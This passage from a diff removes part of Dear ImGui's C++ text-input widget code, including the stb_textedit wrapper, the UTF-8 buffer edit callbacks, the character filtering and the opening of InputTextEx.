text_end) - { - unsigned int c = (unsigned int)(*s++); - if (c == '\n') - { - text_size.x = ImMax(text_size.x, line_width); - text_size.y += line_height; - line_width = 0.0f; - if (stop_on_new_line) - break; - continue; - } - if (c == '\r') - continue; - - const float char_width = font->GetCharAdvance((ImWchar)c) * scale; - line_width += char_width; - } - - if (text_size.x < line_width) - text_size.x = line_width; - - if (out_offset) - *out_offset = ImVec2(line_width, text_size.y + line_height); // offset allow for the possibility of sitting after a trailing \n - - if (line_width > 0 || text_size.y == 0.0f) // whereas size.y will ignore the trailing \n - text_size.y += line_height; - - if (remaining) - *remaining = s; - - return text_size; -} - -// Wrapper for stb_textedit.h to edit text (our wrapper is for: statically sized buffer, single-line, wchar characters. InputText converts between UTF-8 and wchar) -namespace ImStb -{ - -static int STB_TEXTEDIT_STRINGLEN(const STB_TEXTEDIT_STRING* obj) { return obj->CurLenW; } -static ImWchar STB_TEXTEDIT_GETCHAR(const STB_TEXTEDIT_STRING* obj, int idx) { return obj->TextW[idx]; } -static float STB_TEXTEDIT_GETWIDTH(STB_TEXTEDIT_STRING* obj, int line_start_idx, int char_idx) { ImWchar c = obj->TextW[line_start_idx + char_idx]; if (c == '\n') return STB_TEXTEDIT_GETWIDTH_NEWLINE; ImGuiContext& g = *GImGui; return g.Font->GetCharAdvance(c) * (g.FontSize / g.Font->FontSize); } -static int STB_TEXTEDIT_KEYTOTEXT(int key) { return key >= 0x200000 ? 0 : key; } -static ImWchar STB_TEXTEDIT_NEWLINE = '\n'; -static void STB_TEXTEDIT_LAYOUTROW(StbTexteditRow* r, STB_TEXTEDIT_STRING* obj, int line_start_idx) -{ - const ImWchar* text = obj->TextW.Data; - const ImWchar* text_remaining = NULL; - const ImVec2 size = InputTextCalcTextSizeW(text + line_start_idx, text + obj->CurLenW, &text_remaining, NULL, true); - r->x0 = 0.0f; - r->x1 = size.x; - r->baseline_y_delta = size.y; - r->ymin = 0.0f; - r->ymax = size.y; - r->num_chars = (int)(text_remaining - (text + line_start_idx)); -} - -static bool is_separator(unsigned int c) { return ImCharIsBlankW(c) || c==',' || c==';' || c=='(' || c==')' || c=='{' || c=='}' || c=='[' || c==']' || c=='|'; } -static int is_word_boundary_from_right(STB_TEXTEDIT_STRING* obj, int idx) { return idx > 0 ? (is_separator(obj->TextW[idx - 1]) && !is_separator(obj->TextW[idx]) ) : 1; } -static int STB_TEXTEDIT_MOVEWORDLEFT_IMPL(STB_TEXTEDIT_STRING* obj, int idx) { idx--; while (idx >= 0 && !is_word_boundary_from_right(obj, idx)) idx--; return idx < 0 ? 0 : idx; } -#ifdef __APPLE__ // FIXME: Move setting to IO structure -static int is_word_boundary_from_left(STB_TEXTEDIT_STRING* obj, int idx) { return idx > 0 ? (!is_separator(obj->TextW[idx - 1]) && is_separator(obj->TextW[idx]) ) : 1; } -static int STB_TEXTEDIT_MOVEWORDRIGHT_IMPL(STB_TEXTEDIT_STRING* obj, int idx) { idx++; int len = obj->CurLenW; while (idx < len && !is_word_boundary_from_left(obj, idx)) idx++; return idx > len ? len : idx; } -#else -static int STB_TEXTEDIT_MOVEWORDRIGHT_IMPL(STB_TEXTEDIT_STRING* obj, int idx) { idx++; int len = obj->CurLenW; while (idx < len && !is_word_boundary_from_right(obj, idx)) idx++; return idx > len ? len : idx; } -#endif -#define STB_TEXTEDIT_MOVEWORDLEFT STB_TEXTEDIT_MOVEWORDLEFT_IMPL // They need to be #define for stb_textedit.h -#define STB_TEXTEDIT_MOVEWORDRIGHT STB_TEXTEDIT_MOVEWORDRIGHT_IMPL - -static void STB_TEXTEDIT_DELETECHARS(STB_TEXTEDIT_STRING* obj, int pos, int n) -{ - ImWchar* dst = obj->TextW.Data + pos; - - // We maintain our buffer length in both UTF-8 and wchar formats - obj->Edited = true; - obj->CurLenA -= ImTextCountUtf8BytesFromStr(dst, dst + n); - obj->CurLenW -= n; - - // Offset remaining text (FIXME-OPT: Use memmove) - const ImWchar* src = obj->TextW.Data + pos + n; - while (ImWchar c = *src++) - *dst++ = c; - *dst = '\0'; -} - -static bool STB_TEXTEDIT_INSERTCHARS(STB_TEXTEDIT_STRING* obj, int pos, const ImWchar* new_text, int new_text_len) -{ - const bool is_resizable = (obj->UserFlags & ImGuiInputTextFlags_CallbackResize) != 0; - const int text_len = obj->CurLenW; - IM_ASSERT(pos <= text_len); - - const int new_text_len_utf8 = ImTextCountUtf8BytesFromStr(new_text, new_text + new_text_len); - if (!is_resizable && (new_text_len_utf8 + obj->CurLenA + 1 > obj->BufCapacityA)) - return false; - - // Grow internal buffer if needed - if (new_text_len + text_len + 1 > obj->TextW.Size) - { - if (!is_resizable) - return false; - IM_ASSERT(text_len < obj->TextW.Size); - obj->TextW.resize(text_len + ImClamp(new_text_len * 4, 32, ImMax(256, new_text_len)) + 1); - } - - ImWchar* text = obj->TextW.Data; - if (pos != text_len) - memmove(text + pos + new_text_len, text + pos, (size_t)(text_len - pos) * sizeof(ImWchar)); - memcpy(text + pos, new_text, (size_t)new_text_len * sizeof(ImWchar)); - - obj->Edited = true; - obj->CurLenW += new_text_len; - obj->CurLenA += new_text_len_utf8; - obj->TextW[obj->CurLenW] = '\0'; - - return true; -} - -// We don't use an enum so we can build even with conflicting symbols (if another user of stb_textedit.h leak their STB_TEXTEDIT_K_* symbols) -#define STB_TEXTEDIT_K_LEFT 0x200000 // keyboard input to move cursor left -#define STB_TEXTEDIT_K_RIGHT 0x200001 // keyboard input to move cursor right -#define STB_TEXTEDIT_K_UP 0x200002 // keyboard input to move cursor up -#define STB_TEXTEDIT_K_DOWN 0x200003 // keyboard input to move cursor down -#define STB_TEXTEDIT_K_LINESTART 0x200004 // keyboard input to move cursor to start of line -#define STB_TEXTEDIT_K_LINEEND 0x200005 // keyboard input to move cursor to end of line -#define STB_TEXTEDIT_K_TEXTSTART 0x200006 // keyboard input to move cursor to start of text -#define STB_TEXTEDIT_K_TEXTEND 0x200007 // keyboard input to move cursor to end of text -#define STB_TEXTEDIT_K_DELETE 0x200008 // keyboard input to delete selection or character under cursor -#define STB_TEXTEDIT_K_BACKSPACE 0x200009 // keyboard input to delete selection or character left of cursor -#define STB_TEXTEDIT_K_UNDO 0x20000A // keyboard input to perform undo -#define STB_TEXTEDIT_K_REDO 0x20000B // keyboard input to perform redo -#define STB_TEXTEDIT_K_WORDLEFT 0x20000C // keyboard input to move cursor left one word -#define STB_TEXTEDIT_K_WORDRIGHT 0x20000D // keyboard input to move cursor right one word -#define STB_TEXTEDIT_K_PGUP 0x20000E // keyboard input to move cursor up a page -#define STB_TEXTEDIT_K_PGDOWN 0x20000F // keyboard input to move cursor down a page -#define STB_TEXTEDIT_K_SHIFT 0x400000 - -#define STB_TEXTEDIT_IMPLEMENTATION -#include "imstb_textedit.h" - -// stb_textedit internally allows for a single undo record to do addition and deletion, but somehow, calling -// the stb_textedit_paste() function creates two separate records, so we perform it manually. (FIXME: Report to nothings/stb?) -static void stb_textedit_replace(STB_TEXTEDIT_STRING* str, STB_TexteditState* state, const STB_TEXTEDIT_CHARTYPE* text, int text_len) -{ - stb_text_makeundo_replace(str, state, 0, str->CurLenW, text_len); - ImStb::STB_TEXTEDIT_DELETECHARS(str, 0, str->CurLenW); - if (text_len <= 0) - return; - if (ImStb::STB_TEXTEDIT_INSERTCHARS(str, 0, text, text_len)) - { - state->cursor = text_len; - state->has_preferred_x = 0; - return; - } - IM_ASSERT(0); // Failed to insert character, normally shouldn't happen because of how we currently use stb_textedit_replace() -} - -} // namespace ImStb - -void ImGuiInputTextState::OnKeyPressed(int key) -{ - stb_textedit_key(this, &Stb, key); - CursorFollow = true; - CursorAnimReset(); -} - -ImGuiInputTextCallbackData::ImGuiInputTextCallbackData() -{ - memset(this, 0, sizeof(*this)); -} - -// Public API to manipulate UTF-8 text -// We expose UTF-8 to the user (unlike the STB_TEXTEDIT_* functions which are manipulating wchar) -// FIXME: The existence of this rarely exercised code path is a bit of a nuisance. -void ImGuiInputTextCallbackData::DeleteChars(int pos, int bytes_count) -{ - IM_ASSERT(pos + bytes_count <= BufTextLen); - char* dst = Buf + pos; - const char* src = Buf + pos + bytes_count; - while (char c = *src++) - *dst++ = c; - *dst = '\0'; - - if (CursorPos >= pos + bytes_count) - CursorPos -= bytes_count; - else if (CursorPos >= pos) - CursorPos = pos; - SelectionStart = SelectionEnd = CursorPos; - BufDirty = true; - BufTextLen -= bytes_count; -} - -void ImGuiInputTextCallbackData::InsertChars(int pos, const char* new_text, const char* new_text_end) -{ - const bool is_resizable = (Flags & ImGuiInputTextFlags_CallbackResize) != 0; - const int new_text_len = new_text_end ? (int)(new_text_end - new_text) : (int)strlen(new_text); - if (new_text_len + BufTextLen >= BufSize) - { - if (!is_resizable) - return; - - // Contrary to STB_TEXTEDIT_INSERTCHARS() this is working in the UTF8 buffer, hence the mildly similar code (until we remove the U16 buffer altogether!) - ImGuiContext& g = *GImGui; - ImGuiInputTextState* edit_state = &g.InputTextState; - IM_ASSERT(edit_state->ID != 0 && g.ActiveId == edit_state->ID); - IM_ASSERT(Buf == edit_state->TextA.Data); - int new_buf_size = BufTextLen + ImClamp(new_text_len * 4, 32, ImMax(256, new_text_len)) + 1; - edit_state->TextA.reserve(new_buf_size + 1); - Buf = edit_state->TextA.Data; - BufSize = edit_state->BufCapacityA = new_buf_size; - } - - if (BufTextLen != pos) - memmove(Buf + pos + new_text_len, Buf + pos, (size_t)(BufTextLen - pos)); - memcpy(Buf + pos, new_text, (size_t)new_text_len * sizeof(char)); - Buf[BufTextLen + new_text_len] = '\0'; - - if (CursorPos >= pos) - CursorPos += new_text_len; - SelectionStart = SelectionEnd = CursorPos; - BufDirty = true; - BufTextLen += new_text_len; -} - -// Return false to discard a character. -static bool InputTextFilterCharacter(unsigned int* p_char, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback, void* user_data) -{ - unsigned int c = *p_char; - - // Filter non-printable (NB: isprint is unreliable! see #2467) - if (c < 0x20) - { - bool pass = false; - pass |= (c == '\n' && (flags & ImGuiInputTextFlags_Multiline)); - pass |= (c == '\t' && (flags & ImGuiInputTextFlags_AllowTabInput)); - if (!pass) - return false; - } - - // We ignore Ascii representation of delete (emitted from Backspace on OSX, see #2578, #2817) - if (c == 127) - return false; - - // Filter private Unicode range. GLFW on OSX seems to send private characters for special keys like arrow keys (FIXME) - if (c >= 0xE000 && c <= 0xF8FF) - return false; - - // Filter Unicode ranges we are not handling in this build. - if (c > IM_UNICODE_CODEPOINT_MAX) - return false; - - // Generic named filters - if (flags & (ImGuiInputTextFlags_CharsDecimal | ImGuiInputTextFlags_CharsHexadecimal | ImGuiInputTextFlags_CharsUppercase | ImGuiInputTextFlags_CharsNoBlank | ImGuiInputTextFlags_CharsScientific)) - { - // The libc allows overriding locale, with e.g. 'setlocale(LC_NUMERIC, "de_DE.UTF-8");' which affect the output/input of printf/scanf. - // The standard mandate that programs starts in the "C" locale where the decimal point is '.'. - // We don't really intend to provide widespread support for it, but out of empathy for people stuck with using odd API, we support the bare minimum aka overriding the decimal point. - // Change the default decimal_point with: - // ImGui::GetCurrentContext()->PlatformLocaleDecimalPoint = *localeconv()->decimal_point; - ImGuiContext& g = *GImGui; - const unsigned c_decimal_point = (unsigned int)g.PlatformLocaleDecimalPoint; - - // Allow 0-9 . - + * / - if (flags & ImGuiInputTextFlags_CharsDecimal) - if (!(c >= '0' && c <= '9') && (c != c_decimal_point) && (c != '-') && (c != '+') && (c != '*') && (c != '/')) - return false; - - // Allow 0-9 . - + * / e E - if (flags & ImGuiInputTextFlags_CharsScientific) - if (!(c >= '0' && c <= '9') && (c != c_decimal_point) && (c != '-') && (c != '+') && (c != '*') && (c != '/') && (c != 'e') && (c != 'E')) - return false; - - // Allow 0-9 a-F A-F - if (flags & ImGuiInputTextFlags_CharsHexadecimal) - if (!(c >= '0' && c <= '9') && !(c >= 'a' && c <= 'f') && !(c >= 'A' && c <= 'F')) - return false; - - // Turn a-z into A-Z - if (flags & ImGuiInputTextFlags_CharsUppercase) - if (c >= 'a' && c <= 'z') - *p_char = (c += (unsigned int)('A' - 'a')); - - if (flags & ImGuiInputTextFlags_CharsNoBlank) - if (ImCharIsBlankW(c)) - return false; - } - - // Custom callback filter - if (flags & ImGuiInputTextFlags_CallbackCharFilter) - { - ImGuiInputTextCallbackData callback_data; - memset(&callback_data, 0, sizeof(ImGuiInputTextCallbackData)); - callback_data.EventFlag = ImGuiInputTextFlags_CallbackCharFilter; - callback_data.EventChar = (ImWchar)c; - callback_data.Flags = flags; - callback_data.UserData = user_data; - if (callback(&callback_data) != 0) - return false; - *p_char = callback_data.EventChar; - if (!callback_data.EventChar) - return false; - } - - return true; -} - -// Edit a string of text -// - buf_size account for the zero-terminator, so a buf_size of 6 can hold "Hello" but not "Hello!". -// This is so we can easily call InputText() on static arrays using ARRAYSIZE() and to match -// Note that in std::string world, capacity() would omit 1 byte used by the zero-terminator. -// - When active, hold on a privately held copy of the text (and apply back to 'buf'). So changing 'buf' while the InputText is active has no effect. -// - If you want to use ImGui::InputText() with std::string, see misc/cpp/imgui_stdlib.h -// (FIXME: Rather confusing and messy function, among the worse part of our codebase, expecting to rewrite a V2 at some point.. Partly because we are -// doing UTF8 > U16 > UTF8 conversions on the go to easily interface with stb_textedit. Ideally should stay in UTF-8 all the time. See https://github.com/nothings/stb/issues/188) -bool ImGui::InputTextEx(const char* label, const char* hint, char* buf, int buf_size, const ImVec2& size_arg, ImGuiInputTextFlags flags, ImGuiInputTextCallback callback, void* callback_user_data) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - IM_ASSERT(buf != NULL && buf_size >= 0); - IM_ASSERT(!((flags & ImGuiInputTextFlags_CallbackHistory) && (flags & ImGuiInputTextFlags_Multiline))); // Can't use both together (they both use up/down keys) - IM_ASSERT(!((flags & ImGuiInputTextFlags_CallbackCompletion) && (flags & ImGuiInputTextFlags_AllowTabInput))); // Can't use both together (they both use tab key) - - ImGuiContext& g = *GImGui; - ImGuiIO& io = g.IO; - const ImGuiStyle& style = g.Style; - - const bool RENDER_SELECTION_WHEN_INACTIVE = false; - const bool is_multiline = (flags & ImGuiInputTextFlags_Multiline) != 0; - const bool is_readonly = (flags & ImGuiInputTextFlags_ReadOnly) != 0; - const bool is_password = (flags & ImGuiInputTextFlags_Password) != 0; - const bool is_undoable = (flags & ImGuiInputTextFlags_NoUndoRedo) == 0; - const bool is_resizable = (flags & ImGuiInputTextFlags_CallbackResize) != 0; - if (is_resizable) - IM_ASSERT(callback != NULL); // Must provide a callback if you set the ImGuiInputTextFlags_CallbackResize flag! - - if (is_multiline) // Open group before calling GetID() because groups tracks id created within their scope, - BeginGroup(); - const ImGuiID id = window->GetID(label); - const ImVec2 label_size = CalcTextSize(label, NULL, true); - const ImVec2 frame_size = CalcItemSize(size_arg, CalcItemWidth(), (is_multiline ? g.FontSize * 8.0f : label_size.y) + style.FramePadding.y * 2.0f); // Arbitrary default of 8 lines high for multi-line - const ImVec2 total_size = ImVec2(frame_size.x + (label_size.x > 0.0f ? style.ItemInnerSpacing.x + label_size.x : 0.0f), frame_size.y); - - const ImRect frame_bb(window->DC.CursorPos, window->DC.CursorPos + frame_size); - const ImRect total_bb(frame_bb.Min, frame_bb.Min + total_size); - - ImGuiWindow* draw_window = window; - ImVec2 inner_size = frame_size; - if (is_multiline) - { - if (!ItemAdd(total_bb, id, &frame_bb)) - { - ItemSize(total_bb, style.FramePadding.y); - EndGroup(); - return false; - } - - // We reproduce the contents of BeginChildFrame() in order to provide 'label' so our window internal data are easier to read/debug. - PushStyleColor(ImGuiCol_ChildBg, style.Colors[ImGuiCol_FrameBg]); - PushStyleVar(ImGuiStyleVar_ChildRounding, style.FrameRounding); - PushStyleVar(ImGuiStyleVar_ChildBorderSize, style.FrameBorderSize); - bool child_visible = BeginChildEx(label, id, frame_bb.GetSize(), true, ImGuiWindowFlags_NoMove); - PopStyleVar(2); - PopStyleColor(); - if (!child_visible) - { - EndChild(); - EndGroup(); - return false; - } - draw_window = g.CurrentWindow; // Child window - draw_window->DC.NavLayerActiveMaskNext |= (1 << draw_window->DC.NavLayerCurrent); // This is to ensure that EndChild() will display a navigation highlight so we can "enter" into it. - draw_window->DC.CursorPos += style.FramePadding; - inner_size.x -= draw_window->ScrollbarSizes.x; - } - else - { - ItemSize(total_bb, style.FramePadding.y); - if (!ItemAdd(total_bb, id, &frame_bb)) - return false; - } - const bool hovered = ItemHoverable(frame_bb, id); - if (hovered) - g.MouseCursor = ImGuiMouseCursor_TextInput; - - // We are only allowed to access the state if we are already the active widget. - ImGuiInputTextState* state = GetInputTextState(id); - - const bool focus_requested = FocusableItemRegister(window, id); - const bool focus_requested_by_code = focus_requested && (g.FocusRequestCurrWindow == window && g.FocusRequestCurrCounterRegular == window->DC.FocusCounterRegular); - const bool focus_requested_by_tab = focus_requested && !focus_requested_by_code; - - const bool user_clicked = hovered && io.MouseClicked[0]; - const bool user_nav_input_start = (g.ActiveId != id) && ((g.NavInputId == id) || (g.NavActivateId == id && g.NavInputSource == ImGuiInputSource_Keyboard)); - const bool user_scroll_finish = is_multiline && state != NULL && g.ActiveId == 0 && g.ActiveIdPreviousFrame == GetWindowScrollbarID(draw_window, ImGuiAxis_Y); - const bool user_scroll_active = is_multiline && state != NULL && g.ActiveId == GetWindowScrollbarID(draw_window, ImGuiAxis_Y); - - bool clear_active_id = false; - bool select_all = (g.ActiveId != id) && ((flags & ImGuiInputTextFlags_AutoSelectAll) != 0 || user_nav_input_start) && (!is_multiline); - - float scroll_y = is_multiline ? draw_window->Scroll.y : FLT_MAX; - - const bool init_changed_specs = (state != NULL && state->Stb.single_line != !is_multiline); - const bool init_make_active = (focus_requested || user_clicked || user_scroll_finish || user_nav_input_start); - const bool init_state = (init_make_active || user_scroll_active); - if ((init_state && g.ActiveId != id) || init_changed_specs) - { - // Access state even if we don't own it yet. - state = &g.InputTextState; - state->CursorAnimReset(); - - // Take a copy of the initial buffer value (both in original UTF-8 format and converted to wchar) - // From the moment we focused we are ignoring the content of 'buf' (unless we are in read-only mode) - const int buf_len = (int)strlen(buf); - state->InitialTextA.resize(buf_len + 1); // UTF-8. we use +1 to make sure that .Data is always pointing to at least an empty string. - memcpy(state->InitialTextA.Data, buf, buf_len + 1); - - // Start edition - const char* buf_end = NULL; - state->TextW.resize(buf_size + 1); // wchar count <= UTF-8 count. we use +1 to make sure that .Data is always pointing to at least an empty string. - state->TextA.resize(0); - state->TextAIsValid = false; // TextA is not valid yet (we will display buf until then) - state->CurLenW = ImTextStrFromUtf8(state->TextW.Data, buf_size, buf, NULL, &buf_end); - state->CurLenA = (int)(buf_end - buf); // We can't get the result from ImStrncpy() above because it is not UTF-8 aware. Here we'll cut off malformed UTF-8. - - // Preserve cursor position and undo/redo stack if we come back to same widget - // FIXME: For non-readonly widgets we might be able to require that TextAIsValid && TextA == buf ? (untested) and discard undo stack if user buffer has changed. - const bool recycle_state = (state->ID == id && !init_changed_specs); - if (recycle_state) - { - // Recycle existing cursor/selection/undo stack but clamp position - // Note a single mouse click will override the cursor/position immediately by calling stb_textedit_click handler. - state->CursorClamp(); - } - else - { - state->ID = id; - state->ScrollX = 0.0f; - stb_textedit_initialize_state(&state->Stb, !is_multiline); - if (!is_multiline && focus_requested_by_code) - select_all = true; - } - if (flags & ImGuiInputTextFlags_AlwaysInsertMode) - state->Stb.insert_mode = 1; - if (!is_multiline && (focus_requested_by_tab || (user_clicked && io.KeyCtrl))) - select_all = true; - } - - if (g.ActiveId != id && init_make_active) - { - IM_ASSERT(state && state->ID == id); - SetActiveID(id, window); - SetFocusID(id, window); - FocusWindow(window); - - // Declare our inputs - IM_ASSERT(ImGuiNavInput_COUNT < 32); - g.ActiveIdUsingNavDirMask |= (1 << ImGuiDir_Left) | (1 << ImGuiDir_Right); - if (is_multiline || (flags & ImGuiInputTextFlags_CallbackHistory)) - g.ActiveIdUsingNavDirMask |= (1 << ImGuiDir_Up) | (1 << ImGuiDir_Down); - g.ActiveIdUsingNavInputMask |= (1 << ImGuiNavInput_Cancel); - g.ActiveIdUsingKeyInputMask |= ((ImU64)1 << ImGuiKey_Home) | ((ImU64)1 << ImGuiKey_End); - if (is_multiline) - g.ActiveIdUsingKeyInputMask |= ((ImU64)1 << ImGuiKey_PageUp) | ((ImU64)1 << ImGuiKey_PageDown); - if (flags & (ImGuiInputTextFlags_CallbackCompletion | ImGuiInputTextFlags_AllowTabInput)) // Disable keyboard tabbing out as we will use the \t character. - g.ActiveIdUsingKeyInputMask |= ((ImU64)1 << ImGuiKey_Tab); - } - - // We have an edge case if ActiveId was set through another widget (e.g. widget being swapped), clear id immediately (don't wait until the end of the function) - if (g.ActiveId == id && state == NULL) - ClearActiveID(); - - // Release focus when we click outside - if (g.ActiveId == id && io.MouseClicked[0] && !init_state && !init_make_active) //-V560 - clear_active_id = true; - - // Lock the decision of whether we are going to take the path displaying the cursor or selection - const bool render_cursor = (g.ActiveId == id) || (state && user_scroll_active); - bool render_selection = state && state->HasSelection() && (RENDER_SELECTION_WHEN_INACTIVE || render_cursor); - bool value_changed = false; - bool enter_pressed = false; - - // When read-only we always use the live data passed to the function - // FIXME-OPT: Because our selection/cursor code currently needs the wide text we need to convert it when active, which is not ideal :( - if (is_readonly && state != NULL && (render_cursor || render_selection)) - { - const char* buf_end = NULL; - state->TextW.resize(buf_size + 1); - state->CurLenW = ImTextStrFromUtf8(state->TextW.Data, state->TextW.Size, buf, NULL, &buf_end); - state->CurLenA = (int)(buf_end - buf); - state->CursorClamp(); - render_selection &= state->HasSelection(); - } - - // Select the buffer to render. - const bool buf_display_from_state = (render_cursor || render_selection || g.ActiveId == id) && !is_readonly && state && state->TextAIsValid; - const bool is_displaying_hint = (hint != NULL && (buf_display_from_state ? state->TextA.Data : buf)[0] == 0); - - // Password pushes a temporary font with only a fallback glyph - if (is_password && !is_displaying_hint) - { - const ImFontGlyph* glyph = g.Font->FindGlyph('*'); - ImFont* password_font = &g.InputTextPasswordFont; - password_font->FontSize = g.Font->FontSize; - password_font->Scale = g.Font->Scale; - password_font->Ascent = g.Font->Ascent; - password_font->Descent = g.Font->Descent; - password_font->ContainerAtlas = g.Font->ContainerAtlas; - password_font->FallbackGlyph = glyph; - password_font->FallbackAdvanceX = glyph->AdvanceX; - IM_ASSERT(password_font->Glyphs.empty() && password_font->IndexAdvanceX.empty() && password_font->IndexLookup.empty()); - PushFont(password_font); - } - - // Process mouse inputs and character inputs - int backup_current_text_length = 0; - if (g.ActiveId == id) - { - IM_ASSERT(state != NULL); - backup_current_text_length = state->CurLenA; - state->Edited = false; - state->BufCapacityA = buf_size; - state->UserFlags = flags; - state->UserCallback = callback; - state->UserCallbackData = callback_user_data; - - // Although we are active we don't prevent mouse from hovering other elements unless we are interacting right now with the widget. - // Down the line we should have a cleaner library-wide concept of Selected vs Active. - g.ActiveIdAllowOverlap = !io.MouseDown[0]; - g.WantTextInputNextFrame = 1; - - // Edit in progress - const float mouse_x = (io.MousePos.x - frame_bb.Min.x - style.FramePadding.x) + state->ScrollX; - const float mouse_y = (is_multiline ? (io.MousePos.y - draw_window->DC.CursorPos.y) : (g.FontSize * 0.5f)); - - const bool is_osx = io.ConfigMacOSXBehaviors; - if (select_all || (hovered && !is_osx && io.MouseDoubleClicked[0])) - { - state->SelectAll(); - state->SelectedAllMouseLock = true; - } - else if (hovered && is_osx && io.MouseDoubleClicked[0]) - { - // Double-click select a word only, OS X style (by simulating keystrokes) - state->OnKeyPressed(STB_TEXTEDIT_K_WORDLEFT); - state->OnKeyPressed(STB_TEXTEDIT_K_WORDRIGHT | STB_TEXTEDIT_K_SHIFT); - } - else if (io.MouseClicked[0] && !state->SelectedAllMouseLock) - { - if (hovered) - { - stb_textedit_click(state, &state->Stb, mouse_x, mouse_y); - state->CursorAnimReset(); - } - } - else if (io.MouseDown[0] && !state->SelectedAllMouseLock && (io.MouseDelta.x != 0.0f || io.MouseDelta.y != 0.0f)) - { - stb_textedit_drag(state, &state->Stb, mouse_x, mouse_y); - state->CursorAnimReset(); - state->CursorFollow = true; - } - if (state->SelectedAllMouseLock && !io.MouseDown[0]) - state->SelectedAllMouseLock = false; - - // It is ill-defined whether the backend needs to send a \t character when pressing the TAB keys. - // Win32 and GLFW naturally do it but not SDL. - const bool ignore_char_inputs = (io.KeyCtrl && !io.KeyAlt) || (is_osx && io.KeySuper); - if ((flags & ImGuiInputTextFlags_AllowTabInput) && IsKeyPressedMap(ImGuiKey_Tab) && !ignore_char_inputs && !io.KeyShift && !is_readonly) - if (!io.InputQueueCharacters.contains('\t')) - { - unsigned int c = '\t'; // Insert TAB - if (InputTextFilterCharacter(&c, flags, callback, callback_user_data)) - state->OnKeyPressed((int)c); - } - - // Process regular text input (before we check for Return because using some IME will effectively send a Return?) - // We ignore CTRL inputs, but need to allow ALT+CTRL as some keyboards (e.g. German) use AltGR (which _is_ Alt+Ctrl) to input certain characters. - if (io.InputQueueCharacters.Size > 0) - { - if (!ignore_char_inputs && !is_readonly && !user_nav_input_start) - for (int n = 0; n < io.InputQueueCharacters.Size; n++) - { - // Insert character if they pass filtering - unsigned int c = (unsigned int)io.InputQueueCharacters[n]; - if (c == '\t' && io.KeyShift) - continue; - if (InputTextFilterCharacter(&c, flags, callback, callback_user_data)) - state->OnKeyPressed((int)c); - } - - // Consume characters - io.InputQueueCharacters.resize(0); - } - } - - // Process other shortcuts/key-presses - bool cancel_edit = false; - if (g.ActiveId == id && !g.ActiveIdIsJustActivated && !clear_active_id) - { - IM_ASSERT(state != NULL); - IM_ASSERT(io.KeyMods == GetMergedKeyModFlags() && "Mismatching io.KeyCtrl/io.KeyShift/io.KeyAlt/io.KeySuper vs io.KeyMods"); // We rarely do this check, but if anything let's do it here. - - const int row_count_per_page = ImMax((int)((inner_size.y - style.FramePadding.y) / g.FontSize), 1); - state->Stb.row_count_per_page = row_count_per_page; - - const int k_mask = (io.KeyShift ? STB_TEXTEDIT_K_SHIFT : 0); - const bool is_osx = io.ConfigMacOSXBehaviors; - const bool is_osx_shift_shortcut = is_osx && (io.KeyMods == (ImGuiKeyModFlags_Super | ImGuiKeyModFlags_Shift)); - const bool is_wordmove_key_down = is_osx ? io.KeyAlt : io.KeyCtrl; // OS X style: Text editing cursor movement using Alt instead of Ctrl - const bool is_startend_key_down = is_osx && io.KeySuper && !io.KeyCtrl && !io.KeyAlt; // OS X style: Line/Text Start and End using Cmd+Arrows instead of Home/End - const bool is_ctrl_key_only = (io.KeyMods == ImGuiKeyModFlags_Ctrl); - const bool is_shift_key_only = (io.KeyMods == ImGuiKeyModFlags_Shift); - const bool is_shortcut_key = g.IO.ConfigMacOSXBehaviors ? (io.KeyMods == ImGuiKeyModFlags_Super) : (io.KeyMods == ImGuiKeyModFlags_Ctrl); - - const bool is_cut = ((is_shortcut_key && IsKeyPressedMap(ImGuiKey_X)) || (is_shift_key_only && IsKeyPressedMap(ImGuiKey_Delete))) && !is_readonly && !is_password && (!is_multiline || state->HasSelection()); - const bool is_copy = ((is_shortcut_key && IsKeyPressedMap(ImGuiKey_C)) || (is_ctrl_key_only && IsKeyPressedMap(ImGuiKey_Insert))) && !is_password && (!is_multiline || state->HasSelection()); - const bool is_paste = ((is_shortcut_key && IsKeyPressedMap(ImGuiKey_V)) || (is_shift_key_only && IsKeyPressedMap(ImGuiKey_Insert))) && !is_readonly; - const bool is_undo = ((is_shortcut_key && IsKeyPressedMap(ImGuiKey_Z)) && !is_readonly && is_undoable); - const bool is_redo = ((is_shortcut_key && IsKeyPressedMap(ImGuiKey_Y)) || (is_osx_shift_shortcut && IsKeyPressedMap(ImGuiKey_Z))) && !is_readonly && is_undoable; - - if (IsKeyPressedMap(ImGuiKey_LeftArrow)) { state->OnKeyPressed((is_startend_key_down ? STB_TEXTEDIT_K_LINESTART : is_wordmove_key_down ? STB_TEXTEDIT_K_WORDLEFT : STB_TEXTEDIT_K_LEFT) | k_mask); } - else if (IsKeyPressedMap(ImGuiKey_RightArrow)) { state->OnKeyPressed((is_startend_key_down ? STB_TEXTEDIT_K_LINEEND : is_wordmove_key_down ? STB_TEXTEDIT_K_WORDRIGHT : STB_TEXTEDIT_K_RIGHT) | k_mask); } - else if (IsKeyPressedMap(ImGuiKey_UpArrow) && is_multiline) { if (io.KeyCtrl) SetScrollY(draw_window, ImMax(draw_window->Scroll.y - g.FontSize, 0.0f)); else state->OnKeyPressed((is_startend_key_down ? STB_TEXTEDIT_K_TEXTSTART : STB_TEXTEDIT_K_UP) | k_mask); } - else if (IsKeyPressedMap(ImGuiKey_DownArrow) && is_multiline) { if (io.KeyCtrl) SetScrollY(draw_window, ImMin(draw_window->Scroll.y + g.FontSize, GetScrollMaxY())); else state->OnKeyPressed((is_startend_key_down ? STB_TEXTEDIT_K_TEXTEND : STB_TEXTEDIT_K_DOWN) | k_mask); } - else if (IsKeyPressedMap(ImGuiKey_PageUp) && is_multiline) { state->OnKeyPressed(STB_TEXTEDIT_K_PGUP | k_mask); scroll_y -= row_count_per_page * g.FontSize; } - else if (IsKeyPressedMap(ImGuiKey_PageDown) && is_multiline) { state->OnKeyPressed(STB_TEXTEDIT_K_PGDOWN | k_mask); scroll_y += row_count_per_page * g.FontSize; } - else if (IsKeyPressedMap(ImGuiKey_Home)) { state->OnKeyPressed(io.KeyCtrl ? STB_TEXTEDIT_K_TEXTSTART | k_mask : STB_TEXTEDIT_K_LINESTART | k_mask); } - else if (IsKeyPressedMap(ImGuiKey_End)) { state->OnKeyPressed(io.KeyCtrl ? STB_TEXTEDIT_K_TEXTEND | k_mask : STB_TEXTEDIT_K_LINEEND | k_mask); } - else if (IsKeyPressedMap(ImGuiKey_Delete) && !is_readonly) { 